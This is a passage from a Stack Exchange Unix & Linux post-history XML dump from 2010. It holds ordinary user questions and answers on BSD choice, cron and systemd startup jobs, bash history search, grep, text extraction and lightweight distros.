  <row Id="4193" PostHistoryTypeId="16" PostId="2045" RevisionGUID="ac3c8292-cd28-4bcd-ade4-3677b421c09c" CreationDate="2010-09-15T03:44:05.420" UserId="-1" />
  <row Id="4194" PostHistoryTypeId="2" PostId="2046" RevisionGUID="42cb1da2-0803-47ca-bc49-8d68c89c6348" CreationDate="2010-09-15T05:00:34.267" UserId="221" Text="My small experience is that I used Flashrom to update my Intel Motherboard BIOS and it worked fine. In general it seems like a really nice tool." />
  <row Id="4195" PostHistoryTypeId="2" PostId="2047" RevisionGUID="5ba36bc3-9a1b-48dc-baca-604d99b85c8a" CreationDate="2010-09-15T05:18:17.793" UserId="1707" Text="So I've been a linux user since June 2008,my first distro was Ubuntu&#xD;&#xA;&#xD;&#xA;I've tried OpenSuSE,Fedora,Mandriva,Linux Mint,Puppy Linux,Damn Small Linux and Arch Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I was thinking about giving BSD a try&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;which BSD variant should I choose?" />
  <row Id="4196" PostHistoryTypeId="1" PostId="2047" RevisionGUID="5ba36bc3-9a1b-48dc-baca-604d99b85c8a" CreationDate="2010-09-15T05:18:17.793" UserId="1707" Text="Which BSD to start with?" />
  <row Id="4197" PostHistoryTypeId="3" PostId="2047" RevisionGUID="5ba36bc3-9a1b-48dc-baca-604d99b85c8a" CreationDate="2010-09-15T05:18:17.793" UserId="1707" Text="ébsdà" />
  <row Id="4198" PostHistoryTypeId="2" PostId="2048" RevisionGUID="62d75697-ab8f-49df-a454-4d58219a5d7a" CreationDate="2010-09-15T05:23:04.753" UserId="217" Text="Currently I need to have a program running all the time, but when the server is rebooted I need to manually run the program.  And sometimes I'm not available when that happens.&#xD;&#xA;&#xD;&#xA;I can't use a normal configuration to restart my program when the server is starting because I don't have root access and the administrator don't want to install it.&#xD;&#xA;" />
  <row Id="4199" PostHistoryTypeId="1" PostId="2048" RevisionGUID="62d75697-ab8f-49df-a454-4d58219a5d7a" CreationDate="2010-09-15T05:23:04.753" UserId="217" Text="how to ensure a program is always running but without root access?" />
  <row Id="4200" PostHistoryTypeId="3" PostId="2048" RevisionGUID="62d75697-ab8f-49df-a454-4d58219a5d7a" CreationDate="2010-09-15T05:23:04.753" UserId="217" Text="éprocessà" />
  <row Id="4201" PostHistoryTypeId="2" PostId="2049" RevisionGUID="a556d196-8980-4df0-a351-e49c3a5cc158" CreationDate="2010-09-15T05:45:02.347" UserId="73" Text="I posted this on a [similar question](http://unix.stackexchange.com/questions/1924/create-services-in-linux-start-up-in-linux)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you have a `cron` daemon, one of the predefined cron time hooks is `@reboot`, which naturally runs when the system starts. Run `crontab -e` to edit your `crontab` file, and add a line:&#xD;&#xA;&#xD;&#xA;    @reboot /your/command/here&#xD;&#xA;&#xD;&#xA;I'm told this isn't defined for all cron daemons, so you'll have to check to see if it works on your particular one" />
  <row Id="4202" PostHistoryTypeId="2" PostId="2050" RevisionGUID="c2fc847e-9fff-4766-8b8a-ff079b712b94" CreationDate="2010-09-15T06:04:11.457" UserId="29" Text="FreeBSD because it's the most *user friendly*. OpenBSD focuses too much on security to be truly useful to the average user. NetBSD's goal is to run on anything, but that doesn't make it user friendly. I can't speak anything about any of them really... But FreeBSD just sounds like a good, popular choice." />
  <row Id="4203" PostHistoryTypeId="2" PostId="2051" RevisionGUID="7bb2dda5-f844-470a-84e2-92ee43d1a645" CreationDate="2010-09-15T07:16:41.423" UserDisplayName="Jose M Balaguer" Text="In MSDOS I have the option to start typing some characters of a previous command and then pressing F8 it will search the command history buffer for the first ocurrence of these characters. Repeatedly pressing F8 will continue the search for the next match.&#xD;&#xA;&#xD;&#xA;I love this functionality! Does it exist on Linux/UNIX?&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="4204" PostHistoryTypeId="1" PostId="2051" RevisionGUID="7bb2dda5-f844-470a-84e2-92ee43d1a645" CreationDate="2010-09-15T07:16:41.423" UserDisplayName="Jose M Balaguer" Text="bash: recall command by typing some characters of it" />
  <row Id="4205" PostHistoryTypeId="3" PostId="2051" RevisionGUID="7bb2dda5-f844-470a-84e2-92ee43d1a645" CreationDate="2010-09-15T07:16:41.423" UserDisplayName="Jose M Balaguer" Text="écommandöhistoryà" />
  <row Id="4206" PostHistoryTypeId="2" PostId="2052" RevisionGUID="c170a3fa-fcc5-43e2-884e-4c8f5e13084f" CreationDate="2010-09-15T07:31:52.500" UserId="53" Text="When using Bash, type Control-R and then start typing. Typing Control-R repeatedly after inputting some text will move you back in matching command lines." />
  <row Id="4207" PostHistoryTypeId="2" PostId="2053" RevisionGUID="540cd822-01a5-47a8-b94a-66a7e1ace853" CreationDate="2010-09-15T07:35:24.427" UserId="1726" Text="Using DOS upgrade floppy booted with GRUB as mentioned before works for majority of hardware.  In some cases you can find native tools. Dell even prepares repositories which integrates with distro packaging system:&#xD;&#xA;&#xD;&#xA;http://linux.dell.com/wiki/index.php/Repository/firmware&#xD;&#xA;&#xD;&#xA;Sadly, most updates requires machine reboot to complete." />
  <row Id="4208" PostHistoryTypeId="2" PostId="2054" RevisionGUID="66a99f90-28a6-4cc7-8034-41dec8032b93" CreationDate="2010-09-15T07:42:38.030" UserId="53" Text="A more general solution would be to set up a cronjob which checks if your program is running every few minutes. I run dircproxy as regular user and the crontab entry looks like:&#xD;&#xA;&#xD;&#xA;*/10 * * * *   /path/to/dircproxy_cron.sh&#xD;&#xA;" />
  <row Id="4209" PostHistoryTypeId="2" PostId="2055" RevisionGUID="2d6acdb8-6e72-4096-892c-c4b8af1597fe" CreationDate="2010-09-15T08:12:51.963" UserId="1730" Text="Evolution is fine but heavy. Sylpheed ([http://sylpheed.sraoss.jp/en/][1]) is simpler and dont use as many resources. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sylpheed.sraoss.jp/en/" />
  <row Id="4210" PostHistoryTypeId="6" PostId="2051" RevisionGUID="cb91d10b-292c-49c8-b99c-96fcd4171ee4" CreationDate="2010-09-15T08:21:30.803" UserId="29" Comment="add bash tag" Text="ébashàécommandöhistoryà" />
  <row Id="4211" PostHistoryTypeId="2" PostId="2056" RevisionGUID="161d4d99-0e77-4c97-bd83-d44608bbd2ad" CreationDate="2010-09-15T08:40:20.880" UserId="274" Text="Good typography demands that the opening and closing quote glyphs be&#xD;&#xA;different (and symmetrical).  Some older computer fonts (e.g., Sun&#xD;&#xA;console) provided left- and right- quote glyphs on the _backtick_ and&#xD;&#xA;_apostrophe_ characters; modern fonts tend to show he _grave accent_&#xD;&#xA;and a _vertical single quote_ instead. Unicode now provides separate &#xD;&#xA;characters for left- and right- quotes.&#xD;&#xA;&#xD;&#xA;You can read the full story, including Unicode code points for all&#xD;&#xA;involved characters and a history of the backtick+apostrophe&#xD;&#xA;convention, at: http://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html&#xD;&#xA;&#xD;&#xA;Whether the use of backtick+apostrophe makes visual sense is all about&#xD;&#xA;fonts: [TeX/LaTeX](http://tex.stackechange.com) fonts indeed interpret&#xD;&#xA;backtick and apostrophe as left- and right- quote glyphs; the use of&#xD;&#xA;backtick+apostrophe for quoting is still commonplace in (ASCII-format)&#xD;&#xA;Emacs and TeXinfo documentation.&#xD;&#xA;&#xD;&#xA;I personally tend to adapt my quoting habits to the context very much:&#xD;&#xA;&#xD;&#xA;* when a markup language is used (e.g., markdown here on SE sites), I&#xD;&#xA;  use whatever markup syntax for monospaced font;&#xD;&#xA;&#xD;&#xA;* when writing plain ASCII text, I tend to avoid using backticks as&#xD;&#xA;  they have a special meaning to the shell and use single- or double-&#xD;&#xA;  quotes to enclose command snippets.  (Same quote character at both&#xD;&#xA;  sides.) &#xD;&#xA;&#xD;&#xA;* when writing LaTeX or Emacs docs, I use the backtick+apostrophe&#xD;&#xA;  convention. &#xD;&#xA;" />
  <row Id="4212" PostHistoryTypeId="2" PostId="2057" RevisionGUID="7a7ad569-173d-4c5d-82ea-b77da9fa71d1" CreationDate="2010-09-15T08:40:25.373" UserId="1726" Text="Depending on init system, you create init script differently. Fedora gives you upstart and systemd to choose from, and of course SysV compatibility.&#xD;&#xA;&#xD;&#xA;In case you select Upstart:&#xD;&#xA;&#xD;&#xA;- create service definition file as /etc/init/custom-tomcat.conf&#xD;&#xA;&#xD;&#xA;- put inside:&#xD;&#xA;&#xD;&#xA;&gt; start on stopped rc RUNLEVEL=3&#xD;&#xA;&#xD;&#xA;&gt; respawn&#xD;&#xA;&#xD;&#xA;&gt; exec /path/to/you/tomcat --and --parameters&#xD;&#xA;&#xD;&#xA;And you Tomcat should start on system start.&#xD;&#xA;&#xD;&#xA;If you choose to create systemd job, do the following&#xD;&#xA;&#xD;&#xA;- create service definiton in /etc/systemd/system/custom-tomcat.service&#xD;&#xA;&#xD;&#xA;- put inside:&#xD;&#xA;&#xD;&#xA;&gt; [Service]&#xD;&#xA;&#xD;&#xA;&gt; ExecStart=/path/to/you/tomcat --and --parameters&#xD;&#xA;&#xD;&#xA;&gt; Restart=restart-always&#xD;&#xA;&#xD;&#xA;&gt;[Install]&#xD;&#xA;&#xD;&#xA;&gt;WantedBy=multi-user.target&#xD;&#xA;&#xD;&#xA;and enable your service using “systemctl enable custom-tomcat.service”.  It will be started every normal boot.&#xD;&#xA;&#xD;&#xA;Of course there are few more configuration options for both init systems, you can check those in their documentation.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4213" PostHistoryTypeId="2" PostId="2058" RevisionGUID="a3416748-6421-4df0-927b-201f4de4c023" CreationDate="2010-09-15T08:41:47.307" UserId="1733" Text="If you don't want Evolution nor Sylpheed, Thunderbird also allow to get /var/mail mail. You just have to create a new account and choose &quot;movemail&quot; as account type. See [mozilla wiki][1] for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.mozilla.org/Thunderbird:Help_Documentation:Creating_an_Account#Creating_a_Movemail_Account" />
  <row Id="4214" PostHistoryTypeId="5" PostId="2016" RevisionGUID="13f86ed6-f76b-4c38-a118-28cd551f40ee" CreationDate="2010-09-15T09:26:06.757" UserId="1327" Comment="edited body" Text="I found the answer on [Arch Linux Forums][1]&#xD;&#xA;&#xD;&#xA;Since pacman 3.4 you can use&#xD;&#xA;&#xD;&#xA;    pacman -D --asexplicit &lt;pkgs&gt;&#xD;&#xA;&#xD;&#xA;to modify *only* the database&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=825936#p825936" />
  <row Id="4215" PostHistoryTypeId="2" PostId="2059" RevisionGUID="cc533b97-acf7-4587-b554-5da1227e513c" CreationDate="2010-09-15T09:30:24.533" UserId="1735" Text="I'm going to host an event where we have ~15 computers with low-end hardware. I think the computers got 256 MBs of RAM, 5 GB of storage and a 300 MHz Intel CPU.&#xD;&#xA;&#xD;&#xA;We've been running DSL on the machines, but since we are only going to use them to browse the web (possibly using Chrome), we'd like to look into as many options as possible.&#xD;&#xA;&#xD;&#xA;Does anyone have experience with something like this?" />
  <row Id="4216" PostHistoryTypeId="1" PostId="2059" RevisionGUID="cc533b97-acf7-4587-b554-5da1227e513c" CreationDate="2010-09-15T09:30:24.533" UserId="1735" Text="Linux for low-end hardware and internet browsing" />
  <row Id="4217" PostHistoryTypeId="3" PostId="2059" RevisionGUID="cc533b97-acf7-4587-b554-5da1227e513c" CreationDate="2010-09-15T09:30:24.533" UserId="1735" Text="édistrosà" />
  <row Id="4218" PostHistoryTypeId="2" PostId="2060" RevisionGUID="a7bdee3a-0caf-42e1-bd13-0fdc080c24cb" CreationDate="2010-09-15T09:49:58.667" UserId="1327" Text="DSL would be your best bet, but you might try out a minimal [Arch][1] installation. Since you build up the system from base.&#xD;&#xA;&#xD;&#xA;I have **arch** installed on a 500MB RAM, 2GB Storage and 500 MHZ Intel CPU. A bith tight on Storage, but otherwise perfect.&#xD;&#xA;&#xD;&#xA; [1]:http://wiki.archlinux.org/index.php/Beginners'_Guide" />
  <row Id="4219" PostHistoryTypeId="5" PostId="2060" RevisionGUID="d0f91056-c9a6-4e64-b11b-6992f23e65e4" CreationDate="2010-09-15T10:00:50.067" UserId="1327" Comment="added 777 characters in body" Text="DSL would be your best bet, but you might try out a minimal [Arch][1] installation. Since with arch you build up the system from base.&#xD;&#xA;&#xD;&#xA;&gt; Arch provides a minimal environment&#xD;&#xA;&gt; upon installation, (no GUI), compiled&#xD;&#xA;&gt; for i686/x86-64 architectures. Arch is&#xD;&#xA;&gt; lightweight, flexible, simple and aims&#xD;&#xA;&gt; to be very UNIX-like. Its design&#xD;&#xA;&gt; philosophy and implementation make it&#xD;&#xA;&gt; easy to extend and mold into whatever&#xD;&#xA;&gt; kind of system you're building- from a&#xD;&#xA;&gt; minimalist console machine to the most&#xD;&#xA;&gt; grandiose and feature rich desktop&#xD;&#xA;&gt; environments available. Rather than&#xD;&#xA;&gt; tearing out unneeded and unwanted&#xD;&#xA;&gt; packages, Arch offers the power user&#xD;&#xA;&gt; the ability to build up from a minimal&#xD;&#xA;&gt; foundation without any defaults chosen&#xD;&#xA;&gt; for them. It is the user who decides&#xD;&#xA;&gt; what Arch Linux will be  &#xD;&#xA;&gt; - [Arch Linux Wiki][2]&#xD;&#xA;&#xD;&#xA;I have **arch** installed on a 500MB RAM, 2GB Storage and 500 MHZ Intel CPU. A *bith tight on storage*, but otherwise perfect.&#xD;&#xA;&#xD;&#xA; [1]:http://wiki.archlinux.org/index.php/Beginners'_Guide&#xD;&#xA; [2]:http://wiki.archlinux.org/index.php/Arch_Linux#Advantages" />
  <row Id="4220" PostHistoryTypeId="5" PostId="2060" RevisionGUID="4c91f3a9-3866-4015-8406-f9db557baab1" CreationDate="2010-09-15T10:26:26.250" UserId="1327" Comment="added 153 characters in body" Text="DSL would be your best bet, but you might try out a minimal [Arch][1] installation. Since with arch you build up the system from base.&#xD;&#xA;&#xD;&#xA;&gt; Arch provides a minimal environment&#xD;&#xA;&gt; upon installation, (no GUI), compiled&#xD;&#xA;&gt; for i686/x86-64 architectures. Arch is&#xD;&#xA;&gt; lightweight, flexible, simple and aims&#xD;&#xA;&gt; to be very UNIX-like. Its design&#xD;&#xA;&gt; philosophy and implementation make it&#xD;&#xA;&gt; easy to extend and mold into whatever&#xD;&#xA;&gt; kind of system you're building- from a&#xD;&#xA;&gt; minimalist console machine to the most&#xD;&#xA;&gt; grandiose and feature rich desktop&#xD;&#xA;&gt; environments available. Rather than&#xD;&#xA;&gt; tearing out unneeded and unwanted&#xD;&#xA;&gt; packages, Arch offers the power user&#xD;&#xA;&gt; the ability to build up from a minimal&#xD;&#xA;&gt; foundation without any defaults chosen&#xD;&#xA;&gt; for them. It is the user who decides&#xD;&#xA;&gt; what Arch Linux will be  &#xD;&#xA;&gt; - [Arch Linux Wiki][2]&#xD;&#xA;&#xD;&#xA;I have **arch** installed on a 500MB RAM, 2GB Storage and 500 MHZ Intel CPU. A *bith tight on storage*, but otherwise perfect.&#xD;&#xA;&#xD;&#xA;EDIT: Note that arch only works on i686 and x86-64 base systems&#xD;&#xA;&#xD;&#xA;Otherwise, I have heard good things about **[SLAX][3]**&#xD;&#xA;&#xD;&#xA; [1]:http://wiki.archlinux.org/index.php/Beginners'_Guide&#xD;&#xA; [2]:http://wiki.archlinux.org/index.php/Arch_Linux#Advantages&#xD;&#xA; [3]:http://www.slax.org/" />
  <row Id="4221" PostHistoryTypeId="2" PostId="2061" RevisionGUID="943ae37b-53b6-4731-99dd-241d1e59c9c8" CreationDate="2010-09-15T10:44:30.700" UserId="1742" Text="Hi,&#xD;&#xA;&#xD;&#xA;I need to choose a database for an application on an embedded linux platform.&#xD;&#xA;&#xD;&#xA;Any suggestions on which databases are typically used with embedded linux?&#xD;&#xA;&#xD;&#xA;Please let me know.&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;Radha." />
  <row Id="4222" PostHistoryTypeId="1" PostId="2061" RevisionGUID="943ae37b-53b6-4731-99dd-241d1e59c9c8" CreationDate="2010-09-15T10:44:30.700" UserId="1742" Text="Databases for embedded Linux?" />
  <row Id="4223" PostHistoryTypeId="3" PostId="2061" RevisionGUID="943ae37b-53b6-4731-99dd-241d1e59c9c8" CreationDate="2010-09-15T10:44:30.700" UserId="1742" Text="élinuxà" />
  <row Id="4224" PostHistoryTypeId="2" PostId="2062" RevisionGUID="fb143e70-f7f7-43e5-a067-54437bff82bd" CreationDate="2010-09-15T10:46:36.543" UserDisplayName="Luis da Costa" Text="Why do brackets in a `grep` pattern remove the grep process from `ps` results?&#xD;&#xA;&#xD;&#xA;    $ ps -ef | grep XXXX&#xD;&#xA;&#xD;&#xA;    [...] XXXX&#xD;&#xA;    [...] grep XXXX&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ps -ef | grep [X]XXX&#xD;&#xA;&#xD;&#xA;    [...] XXXX&#xD;&#xA;" />
  <row Id="4225" PostHistoryTypeId="1" PostId="2062" RevisionGUID="fb143e70-f7f7-43e5-a067-54437bff82bd" CreationDate="2010-09-15T10:46:36.543" UserDisplayName="Luis da Costa" Text="grep - why do brackets in grep pattern remove the grep process from ps results?" />
  <row Id="4226" PostHistoryTypeId="3" PostId="2062" RevisionGUID="fb143e70-f7f7-43e5-a067-54437bff82bd" CreationDate="2010-09-15T10:46:36.543" UserDisplayName="Luis da Costa" Text="écommandölineàégrepà" />
  <row Id="4227" PostHistoryTypeId="2" PostId="2063" RevisionGUID="8f4dd8d4-8e99-4990-a47d-7e0d6c2a7540" CreationDate="2010-09-15T10:50:53.977" UserId="1742" Text="I'd suggest Fatrat - http://fatrat.dolezel.info - the best download manager I've come across myself.&#xD;&#xA;&#xD;&#xA;The Jabber remote control feature is what I love the most in the software.&#xD;&#xA;&#xD;&#xA;I'd urge everyone to check it out." />
  <row Id="4228" PostHistoryTypeId="2" PostId="2064" RevisionGUID="53bde8fb-a077-4e42-85e2-b67cbce65505" CreationDate="2010-09-15T10:52:16.283" UserId="116" Text="[SQLite's][1] small size and levels of completeness, stability &amp; speed make it a popular choice for low-resource environments, which embedded systems usually are. It is used by parts of the current iPhone, Android and Symbian phone operating systems for this reason.&#xD;&#xA;&#xD;&#xA;You might want to add some details to your question to get more specific answers: do you know what sort of hardware specification you will be working with for instance?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/SQLite" />
  <row Id="4229" PostHistoryTypeId="2" PostId="2065" RevisionGUID="4783cddd-7233-425d-86cf-118f971f5f26" CreationDate="2010-09-15T10:56:45.027" UserDisplayName="Fabian Deutsch" Text="Because the brackets need to be escaped, for bash once and for grep again:&#xD;&#xA;&#xD;&#xA;    $ ps -ef | grep \\[X\\]XXX&#xD;&#xA;    &#xD;&#xA;    [...] XXXX&#xD;&#xA;    [...] grep XXXX&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    $ ps -ef | grep &quot;\[X\]XXX&quot;&#xD;&#xA;    &#xD;&#xA;    [...] XXXX&#xD;&#xA;    [...] grep XXXX&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4230" PostHistoryTypeId="2" PostId="2066" RevisionGUID="9a5620da-ac0f-44bf-8356-a656d151aacc" CreationDate="2010-09-15T11:12:58.787" UserId="1746" Text="I always wondered if running mono apps will ever be available for Linux by just double clicking on the .exe. Now in order to have a launcher on Gnome the best way is to add a new bash file which will do the 'mono myapp.exe' for you.&#xD;&#xA;&#xD;&#xA;I remember there were some ideas to have that in Linux long time ago, but nothing recently..." />
  <row Id="4231" PostHistoryTypeId="1" PostId="2066" RevisionGUID="9a5620da-ac0f-44bf-8356-a656d151aacc" CreationDate="2010-09-15T11:12:58.787" UserId="1746" Text="Enable running mono apps by double click on the .exe" />
  <row Id="4232" PostHistoryTypeId="3" PostId="2066" RevisionGUID="9a5620da-ac0f-44bf-8356-a656d151aacc" CreationDate="2010-09-15T11:12:58.787" UserId="1746" Text="élinuxàémonoà" />
  <row Id="4233" PostHistoryTypeId="2" PostId="2067" RevisionGUID="7b3f9384-a567-41cb-a596-6c610f19bca0" CreationDate="2010-09-15T11:14:22.203" UserId="1327" Text="When you run `ps -ef | grep string`, grep is displayed in the output because `string` matches `[...] grep string`.&#xD;&#xA;&#xD;&#xA;But, when you run `ps -ef | grep [s]tring` the line isn't displayed, because grep translates `[s]tring` to `string`, while ps outputs `[...] grep [s]tring`, and that doesn't match `string`" />
  <row Id="4235" PostHistoryTypeId="2" PostId="2069" RevisionGUID="7f635daa-c489-4bda-87bd-d5156816e2b2" CreationDate="2010-09-15T12:18:57.377" UserId="1752" Text="Ubuntu have this by default, AFAIK.  For an idea of how this might work, take a look at: [binfmt_misc][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Binfmt_misc" />
  <row Id="4236" PostHistoryTypeId="2" PostId="2070" RevisionGUID="94e10064-abcd-4e58-95d7-82c3e3bcf58a" CreationDate="2010-09-15T12:46:47.153" UserId="550" Text="A friend of mine [posted about this problem][1] some days ago. He talks about this tool [Dmon][2]. I did not test it, but it sounds great.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.igalia.com/aperez/2010/08/dmon-process-monitoring-with-style/&#xD;&#xA;  [2]: http://gitorious.org/dmon" />
  <row Id="4237" PostHistoryTypeId="2" PostId="2071" RevisionGUID="895a6c28-8bc6-4918-bdc3-39d1de93d55a" CreationDate="2010-09-15T13:09:26.100" UserId="1754" Text="What is best practice for creating mandatory / default gconf-profiles using the users environmen-variables. If so there is easy to maintain systemwide and disribute profiles in a corporate network.&#xD;&#xA;&#xD;&#xA;This is what I want:&#xD;&#xA;&#xD;&#xA;For an example, I want to use a gconf-key where some information are defined by environment varibles, the key /apps/evolution/mail/accounts and $USER / $USERNAME:&#xD;&#xA;&#xD;&#xA;[&lt;?xml version=&quot;1.0&quot;?&gt;&#xD;&#xA;&lt;account name=&quot;$(USER)@example.com&quot;&gt;&#xD;&#xA;&lt;identity&gt;&#xD;&#xA;    &lt;name&gt;$(USERNAME)&lt;/name&gt;&#xD;&#xA;    &lt;addr-spec&gt;$(USER)@example.com&lt;/addr-spec&gt;&#xD;&#xA;&lt;/identity&gt;&#xD;&#xA;&lt;source&gt;&#xD;&#xA;  &lt;url&gt;imap://$(USER)%&#xD;&#xA;40example.com@imap.example.com/;;use_ssl=when-possible&#xD;&#xA; &lt;/url&gt;&#xD;&#xA;&lt;/source&gt;&#xD;&#xA;&lt;transport save-passwd=&quot;true&quot;&gt;&#xD;&#xA;        &lt;url&gt;smtp://$(USER)%40smtp.example.com;;use_ssl=when-possible&lt;/url&gt;&#xD;&#xA;&lt;/transport&gt;&#xD;&#xA;&#xD;&#xA;&lt;/account&gt;&#xD;&#xA;,&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;I believe that I need a subsystem that process templet profiles into something gconfd can use. I have tried desktop-profiles and sabayon without any luck. Evoldap-backend works only for evolution and feels a little overkill even if I end up with LDAP / Gosa or LDAP / phamm for authentication. Mail, IM and VoIP / Telepathy uses only information that is easy reachable from GECOS (/etc/passwd) and standard login environment. It feels more robust to administer one systemwide template than a profile per user.&#xD;&#xA;" />
  <row Id="4238" PostHistoryTypeId="1" PostId="2071" RevisionGUID="895a6c28-8bc6-4918-bdc3-39d1de93d55a" CreationDate="2010-09-15T13:09:26.100" UserId="1754" Text="Gconf profiles personialized with environment-variables" />
  <row Id="4239" PostHistoryTypeId="3" PostId="2071" RevisionGUID="895a6c28-8bc6-4918-bdc3-39d1de93d55a" CreationDate="2010-09-15T13:09:26.100" UserId="1754" Text="égnomeà" />
  <row Id="4240" PostHistoryTypeId="2" PostId="2072" RevisionGUID="953431ab-9544-4695-a197-4b830891314c" CreationDate="2010-09-15T13:20:27.680" UserId="150" Text="What's a good way of extracting say, lines 20 -45 out of a huge text file. Non-interactively of course! " />
  <row Id="4241" PostHistoryTypeId="1" PostId="2072" RevisionGUID="953431ab-9544-4695-a197-4b830891314c" CreationDate="2010-09-15T13:20:27.680" UserId="150" Text="What's the best way to take a segment out of a text file?" />
  <row Id="4242" PostHistoryTypeId="3" PostId="2072" RevisionGUID="953431ab-9544-4695-a197-4b830891314c" CreationDate="2010-09-15T13:20:27.680" UserId="150" Text="égnuà" />
  <row Id="4243" PostHistoryTypeId="2" PostId="2073" RevisionGUID="ed367e58-dd5a-4196-81cb-7347c5a83f04" CreationDate="2010-09-15T13:25:52.340" UserId="1327" Text="you could try:&#xD;&#xA;&#xD;&#xA;    cat textfile | head -n 45 | tail -n 25 &#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA;    cat textfile | awk  &quot;NR &gt; 20 &amp;&amp; NR &lt; 45&quot;&#xD;&#xA;" />
  <row Id="4244" PostHistoryTypeId="2" PostId="2074" RevisionGUID="6888520a-8029-49c6-9446-49d1663dc7e5" CreationDate="2010-09-15T13:27:48.817" UserId="1192" Text="I Agree - SQLite is a c written engine, easy to install and use. Recommended." />
  <row Id="4245" PostHistoryTypeId="2" PostId="2075" RevisionGUID="9ae91dc6-2dc0-461d-8876-f6de37b59fcc" CreationDate="2010-09-15T13:29:00.583" UserId="171" Text="I have had great success using [Puppy Linux][1] on older hardware, and as Stefan mentioned SLAX is another good one. The last box I ran Puppy 5.1 on had a:&#xD;&#xA;&#xD;&#xA; - Pentium 3 450Mhz processor&#xD;&#xA; - 256 MB of Ram&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://puppylinux.org/main/index.php?file=Overview%20and%20Getting%20Started.htm" />
  <row Id="4246" PostHistoryTypeId="2" PostId="2076" RevisionGUID="1947dd1d-6805-4741-9402-0bd4e2830916" CreationDate="2010-09-15T13:30:51.073" UserId="1192" Text="I would suggest a Gentoo installation with distributed compilation, X11, Firefox (or chrome), and E17.&#xD;&#xA;&#xD;&#xA;Should be really fast once installed and compiled. Also, you could pre-compile things in a chrooted environment on faster hardware, and the redeploy the binaries.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4247" PostHistoryTypeId="2" PostId="2077" RevisionGUID="0fe2ac0e-790e-446a-abaa-467e51a562da" CreationDate="2010-09-15T13:32:37.453" UserId="130" Text="Did you update your kernel? There was an update last week that introduced this error: http://lwn.net/Articles/404712/ It should be fixed sometime soon. &#xD;&#xA;&#xD;&#xA;In the meantime you can downgrade to 2.6.34-12.3" />
  <row Id="4248" PostHistoryTypeId="5" PostId="2073" RevisionGUID="cd01fce5-e735-4220-937c-414cd7d96a09" CreationDate="2010-09-15T13:35:49.327" UserId="1327" Comment="edited body" Text="you could try:&#xD;&#xA;&#xD;&#xA;    cat textfile | head -n 45 | tail -n 25 &#xD;&#xA;&#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA;    cat textfile | awk &quot;NR &gt; 19 &amp;&amp; NR &lt; 46&quot; &#xD;&#xA;" />
  <row Id="4249" PostHistoryTypeId="2" PostId="2078" RevisionGUID="dbe157f3-04cf-4327-be70-2f542e3f5a1c" CreationDate="2010-09-15T13:38:03.707" UserId="298" Text="Personally, I find OpenBSD a great BSD to start with.  It's simple, installs a minimum level of packages by default, and has excellent documentation.   Man pages are a good thing.  The installer is fast and incredibly easy to use (no, it's not a gui). And once you have the base system up and running, the online FAQ has answers to pretty much any question you could imagine, and it's not a wiki, the FAQ is written and maintained by the developers, and is up to date.   Installing packages is just as easy as on other modern unix like systems, and though they lag behind the latest/greatest they are fully functional.  I've been using it as my only desktop OS for years, and I find it's a great first unix like OS.  &#xD;&#xA;" />
  <row Id="4250" PostHistoryTypeId="16" PostId="2078" RevisionGUID="dbe157f3-04cf-4327-be70-2f542e3f5a1c" CreationDate="2010-09-15T13:38:03.707" UserId="298" />
  <row Id="4251" PostHistoryTypeId="2" PostId="2079" RevisionGUID="772f77b8-3fd3-45b3-bf6d-67171a8adc88" CreationDate="2010-09-15T13:54:35.093" UserId="1383" Text="The most mature one, though far from free is Mac OS X.&#xD;&#xA;&#xD;&#xA;The low-level part is distributed for free as [Darwin][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Darwin_%28operating_system%29" />
  <row Id="4252" PostHistoryTypeId="2" PostId="2080" RevisionGUID="9a7f9209-5ce0-4c22-adc7-073ff247a948" CreationDate="2010-09-15T14:33:18.563" UserId="1758" Text="Actually, you don't need the cat, with:&#xD;&#xA;&#xD;&#xA;    head textfile -n 65 | tail -n 25&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    awk &quot;NR &gt; 19 &amp;&amp; NR &lt; 46&quot; texfile&#xD;&#xA;&#xD;&#xA;it's enough" />
  <row Id="4253" PostHistoryTypeId="2" PostId="2081" RevisionGUID="57812244-a73f-4ff4-8d81-4ad240e93064" CreationDate="2010-09-15T15:11:37.813" UserDisplayName="oliver" Text="On the 4GB disk in my Eeepc with Ubuntu it helped to remove some locale files (from /usr/share/locale) and Gnome help files (from /usr/share/gnome/help/). Both were installed for languages which I don't use. Not sure if Arch Linux even installs all those files, though." />
